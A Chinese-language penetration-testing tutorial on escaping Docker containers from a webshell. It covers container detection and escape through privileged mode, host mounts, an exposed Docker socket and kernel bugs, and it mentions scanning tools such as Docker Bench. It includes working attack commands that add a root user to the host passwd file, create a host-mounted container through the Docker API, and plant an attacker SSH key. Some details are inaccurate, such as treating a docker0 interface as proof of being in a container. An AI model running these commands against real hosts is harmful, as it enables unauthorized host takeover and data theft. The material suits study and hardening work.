内网渗透技术 Docker逃逸技术(提权)研究 CSMSF
目录
如何通过上传的webshell判断当前环境是否是物理环境还是Docker环境
方法一:检查文件系统
方法二:查看进程
方法三:检查网络配置
方法四:检查环境变量
方法五:检查挂载点
总结
2. 如果是Docker环境,是否和正常的物理环境一样进行后渗透测试工作
是否一样
Docker环境与物理环境的区别
调整后的渗透测试策略
总结
3. Docker服务器有什么特点?对渗透测试及内网渗透横向扩展有什么影响
Docker服务器的特点
对渗透测试的影响
对内网渗透横向扩展的影响
总结
4. 网络安全及内网渗透中Docker逃逸的相关问题
Docker逃逸是什么
目的是什么
什么情况下使用
什么情况下逃逸会成功
总结
5. 实际案例:网络安全中的Docker逃逸
场景
步骤
相关配置
银行项目组的影响
总结
6. Docker逃逸的手法及实际案例
手法一:挂载宿主机文件系统
手法二:特权模式
手法三:共享网络命名空间
手法四:漏洞利用(Docker Socket)
手法五:内核漏洞
总结
7. Docker不安全配置扫描工具及关联
常见工具
与Docker的关联
总结
8. CDK(假设为Docker Bench)的不安全扫描使用方式及案例
假设CDK为Docker Bench for Security
实际案例
总结
9. 将物理根目录挂载到Docker后,如何利用SSH密钥控制物理机
步骤
总结
综合总结:内网渗透中的Docker逃逸手法
如何通过上传的webshell判断当前环境是否是物理环境还是Docker环境
当通过webshell成功进入目标系统后,我们需要判断当前运行环境是物理机还是Docker容器。
以下是具体方法和步骤:
方法一:检查文件系统
-
原理:Docker容器的文件系统通常是只读的,或者具有特定的挂载点,而物理机的文件系统则没有这些限制。
-
操作:
-
执行命令:
cat /proc/1/cgroup
-
判断依据:
-
如果输出中包含
docker
或kubepods
等字样,说明当前环境是Docker容器。 -
如果没有这些关键字,通常是物理环境。
-
-
-
示例:
/proc/1/cgroup 输出: 11:perf_event:/docker/1234567890abcdef
其中
docker
表明这是一个Docker容器。 -
方法二:查看进程
-
原理:Docker容器中
-
进程ID为1的进程通常是容器的初始化进程(init)
-
而物理机中PID为1的进程是系统的init进程(如systemd)
-
-
操作:
-
执行命令:
ps aux | grep init
-
判断依据:
-
如果PID为1的进程是
/sbin/init
或systemd
,则可能是物理环境。 -
如果是其他轻量级进程(如bash、sh或用户定义的进程),则可能是Docker容器。
-
-
-
示例:
root 1 0.0 0.1 12345 6789 ? Ss 00:00 /bin/bash
这种情况下,PID 1是bash,说明是Docker容器。
-
方法三:检查网络配置
-
原理:Docker容器有独立的网络栈,通常使用桥接网络(如
docker0
),而物理机没有这些特定接口。 -
操作:
-
执行命令:
ip a
或ifconfig
-
判断依据:
-
如果看到
docker0
或类似桥接接口,说明是Docker环境。 -
如果仅看到物理网卡(如
eth0
),则可能是物理环境。
-
-
-
示例:
2: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN
存在
docker0
,表明是Docker环境。
方法四:检查环境变量
-
原理:某些Docker容器会设置特定的环境变量,而物理机通常没有。
-
操作:
-
执行命令:
env
-
判断依据:
-
如果看到
DOCKER_CONTAINER
或类似变量,说明是Docker环境。
-
-
-
示例:
DOCKER_CONTAINER=true
表明当前是Docker容器。
方法五:检查挂载点
-
原理:Docker容器有特定的挂载点(如
/var/lib/docker
),物理机没有这些。 -
操作:
-
执行命令:
mount
-
判断依据:
-
如果看到
/var/lib/docker
或类似挂载点,说明是Docker环境。
-
-
-
示例:
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/...)
表明是Docker容器。
方法六:检查文件系统特征:
-
查看根目录下是否存在
.dockerenv
或/run/.containerenv
,这是Docker容器的标记文件。 -
检查
/proc/1/cgroup
文件内容,若包含docker
、k8s
或容器ID,则为容器环境。 -
执行
mount | grep overlay
,容器通常使用overlay
或aufs
作为存储驱动。
总结
通过以上方法,从文件系统、进程、网络、环境变量和挂载点五个方面检查,结合多方面证据,可以准确判断当前环境是物理机还是Docker容器。通常只需执行cat /proc/1/cgroup
即可快速得出结论。
2. 如果是Docker环境,是否和正常的物理环境一样进行后渗透测试工作
是否一样
-
答案:不完全一样。
-
原因:Docker环境与物理环境在资源、网络、文件系统和权限等方面存在显著差异,因此后渗透测试需要根据Docker的特性进行调整。
Docker环境与物理环境的区别
-
资源限制:
-
Docker容器通常有CPU、内存和磁盘的限制,可能导致某些渗透测试工具(如爆破工具)运行受限。
-
物理机通常资源更充足。
-
-
网络隔离:
-
Docker容器使用独立的网络命名空间,默认无法直接访问宿主机或其他容器的网络。
-
物理机可以直接访问网络资源。
-
-
文件系统隔离:
-
Docker容器的文件系统是隔离的,无法直接访问宿主机的文件。
-
物理机的文件系统是全局的。
-
-
权限限制:
-
Docker容器可能以非root用户运行,权限受限。
-
物理机上通常更容易获得root权限。
-
调整后的渗透测试策略
-
提权:
-
在Docker容器内,尝试提升权限到root用户。例如,利用容器内的suid程序或漏洞提权。
-
示例命令:
find / -perm -4000 2>/dev/null
查找suid文件。
-
-
突破网络隔离:
-
使用端口转发(如
ssh -L
)或代理工具(如proxychains),访问宿主机或其他网络资源。
-
-
尝试Docker逃逸:
-
如果需要更深入渗透,尝试从容器逃逸到宿主机,获取更高权限(详见问题4)。
-
-
工具调整:
-
选择轻量级工具,避免因资源限制导致工具崩溃。
-
总结
- 在Docker环境中,后渗透测试不能直接套用物理环境的流程。
- 需要针对容器的隔离性、资源限制和权限特性,调整策略,必要时进行逃逸操作。
3. Docker服务器有什么特点?对渗透测试及内网渗透横向扩展有什么影响
Docker服务器的特点
-
隔离性:
-
文件系统、网络和进程都与宿主机及其他容器隔离。
-
-
轻量级:
-
启动快,资源占用少,基于镜像运行。
-
-
可移植性:
-
容器可以在不同宿主机上运行,配置一致。
-
对渗透测试的影响
-
权限提升难度增加:
-
由于隔离性,攻击者需要突破容器限制才能访问宿主机。
-
-
网络攻击复杂化:
-
容器的网络栈独立,需了解Docker的网络模式(如桥接、主机模式)才能有效攻击。
-
-
工具运行受限:
-
资源限制可能导致某些工具无法正常运行。
-
对内网渗透横向扩展的影响
-
横向扩展受阻:
-
容器之间的隔离使得直接攻击其他容器或宿主机变得困难。
-
-
逃逸需求增加:
-
要实现横向扩展,往往需要先逃逸到宿主机,控制宿主机后再攻击其他容器或内网主机。
-
-
网络配置依赖:
-
攻击者需利用Docker的网络配置(如共享主机网络)进行横向移动。
-
总结
Docker服务器的隔离性提高了渗透难度,攻击者需要针对其特点调整策略,尤其是通过逃逸实现横向扩展。
4. 网络安全及内网渗透中Docker逃逸的相关问题
Docker逃逸是什么
-
定义:Docker逃逸是指从Docker容器内部突破隔离限制,获取宿主机的控制权或访问宿主机的资源。
-
本质:利用Docker配置漏洞或系统漏洞,打破容器与宿主机的边界。
目的是什么
-
获取更高的权限,访问宿主机的文件系统、网络或其他资源,从而进行更深入的渗透或攻击。
什么情况下使用
-
当攻击者已通过webshell或其他方式控制了Docker容器,但权限受限,无法直接影响宿主机或其他容器时。
-
示例场景:攻击者想从容器内窃取宿主机的敏感数据。
什么情况下逃逸会成功
-
配置不当:
-
容器以特权模式运行(
--privileged
)。 -
宿主机敏感目录(如
/
或/var/run/docker.sock
)挂载到容器内。
-
-
漏洞利用:
-
Docker daemon漏洞(如未授权访问Docker socket)。
-
内核漏洞(如Dirty COW)。
-
-
共享资源:
-
容器与宿主机共享网络命名空间(
--net=host
)或IPC。
-
总结
Docker逃逸是内网渗透中的高级手法,用于突破容器限制,其成功依赖于目标系统的配置错误或漏洞。
5. 实际案例:网络安全中的Docker逃逸
场景
某银行项目组使用Docker部署应用,开发人员误将宿主机的/etc
目录挂载到容器内,导致安全隐患。
步骤
-
上传webshell:
-
攻击者通过漏洞(如文件上传漏洞)将webshell上传到容器内。
-
-
发现挂载点:
-
执行
ls /mnt/etc
,发现这是宿主机的/etc
目录。
-
-
修改passwd文件:
-
在容器内执行:
echo "hacker:x:0:0:hacker:/root:/bin/bash" >> /mnt/etc/passwd
添加一个root权限用户
hacker
。
-
-
登录宿主机:
-
使用
hacker
用户通过ssh登录宿主机,控制整个系统。
-
相关配置
-
Docker运行命令:
docker run -v /etc:/mnt/etc -d myimage
-v /etc:/mnt/etc
将宿主机的/etc
挂载到容器的/mnt/etc
。
银行项目组的影响
-
攻击者控制宿主机后,可能窃取银行客户的敏感数据,导致重大安全事故。
总结
此案例展示了配置不当(挂载敏感目录)如何导致Docker逃逸,攻击者利用这一点轻松控制宿主机。
6. Docker逃逸的手法及实际案例
以下是常见的Docker逃逸手法,每种均附带实际案例:
手法一:挂载宿主机文件系统
-
案例:如问题5所述,银行项目组挂载
/etc
,攻击者修改passwd
逃逸。 -
步骤:挂载
/etc
后,添加用户或修改配置文件。
手法二:特权模式
-
案例:某企业运行容器时使用
--privileged
:docker run --privileged -d myimage
-
步骤:
-
在容器内执行
ls /dev
,发现宿主机设备(如磁盘)。 -
使用
dd
命令直接操作宿主机磁盘,写入后门。
-
手法三:共享网络命名空间
-
案例:某服务器使用
--net=host
运行容器:docker run --net=host -d myimage
-
步骤:
-
在容器内执行
ip a
,发现宿主机的网络接口。 -
发起网络攻击,直接控制宿主机。
-
手法四:漏洞利用(Docker Socket)
-
案例:某系统将
/var/run/docker.sock
挂载到容器:docker run -v /var/run/docker.sock:/var/run/docker.sock -d myimage
-
步骤:
-
在容器内使用curl访问Docker API:
curl --unix-socket /var/run/docker.sock http://localhost/containers/create -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt"]}'
-
创建新容器,挂载宿主机根目录,逃逸成功。
-
手法五:内核漏洞
-
案例:利用Dirty COW漏洞(CVE-2016-5195)。
-
步骤:
-
在容器内编译漏洞利用代码。
-
提权到宿主机root用户。
-
总结
这些手法利用了配置错误(如特权模式、挂载敏感目录)和漏洞(Docker API、内核),是Docker逃逸的核心手段。
7. Docker不安全配置扫描工具及关联
常见工具
-
Docker Bench for Security:
-
检查Docker配置安全的脚本。
-
-
Clair:
-
扫描Docker镜像中的软件漏洞。
-
-
Anchore:
-
分析容器镜像的安全性和配置问题。
-
-
Dockle:
-
检查镜像的安全最佳实践。
-
与Docker的关联
-
这些工具识别Docker配置中的安全隐患(如特权模式、挂载敏感目录),防止攻击者利用这些问题进行逃逸。
-
示例:Docker Bench可能报告“容器以特权模式运行”,提示管理员修复。
总结
使用这些工具可以提前发现并修复不安全配置,降低Docker逃逸风险。
8. CDK(假设为Docker Bench)的不安全扫描使用方式及案例
假设CDK为Docker Bench for Security
-
使用方式:
-
下载脚本:
git clone https://github.com/docker/docker-bench-security.git
-
运行脚本:
cd docker-bench-security && sh docker-bench-security.sh
-
查看报告:
-
报告列出配置问题及建议。
-
-
实际案例
-
场景:某企业运行Docker容器。
-
步骤:
-
运行脚本后,报告显示:
[WARN] 1.2.1 - Ensure the container is not running in privileged mode
-
检查发现容器使用
--privileged
运行。 -
修复:修改为非特权模式运行。
-
-
结果:避免了潜在的逃逸风险。
总结
Docker Bench通过扫描识别不安全配置,帮助管理员加固系统。
9. 将物理根目录挂载到Docker后,如何利用SSH密钥控制物理机
步骤
-
挂载根目录:
-
Docker运行命令:
docker run -v /:/host -d myimage
宿主机根目录挂载到容器的
/host
。
-
-
访问SSH目录:
-
在容器内执行:
ls /host/root/.ssh/
检查是否存在
authorized_keys
。
-
-
添加攻击者公钥:
-
执行:
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@host" >> /host/root/.ssh/authorized_keys
将攻击者的公钥追加到文件中。
-
-
SSH登录宿主机:
-
在攻击者机器上:
ssh root@宿主机IP
使用对应私钥登录。
-
总结
通过挂载根目录,攻击者可直接修改宿主机的SSH配置,控制物理机。
综合总结:内网渗透中的Docker逃逸手法
-
判断环境:通过
/proc/1/cgroup
、进程、网络等方法区分物理机和Docker。 -
渗透调整:Docker环境下需突破隔离,必要时逃逸。
-
Docker特点:隔离性增加了横向扩展难度。
-
逃逸核心:利用配置不当(如特权模式、挂载敏感目录)和漏洞(如Docker Socket、内核漏洞)。
-
实际案例:银行挂载
/etc
导致逃逸,展示了配置错误的严重性。 -
工具防护:Docker Bench等工具可提前发现问题。
-
控制物理机:挂载根目录后修改SSH密钥是典型手法。
通过以上逻辑,您应能全面理解Docker逃逸的原理、方法及应用场景,在内网渗透中灵活应对Docker环境。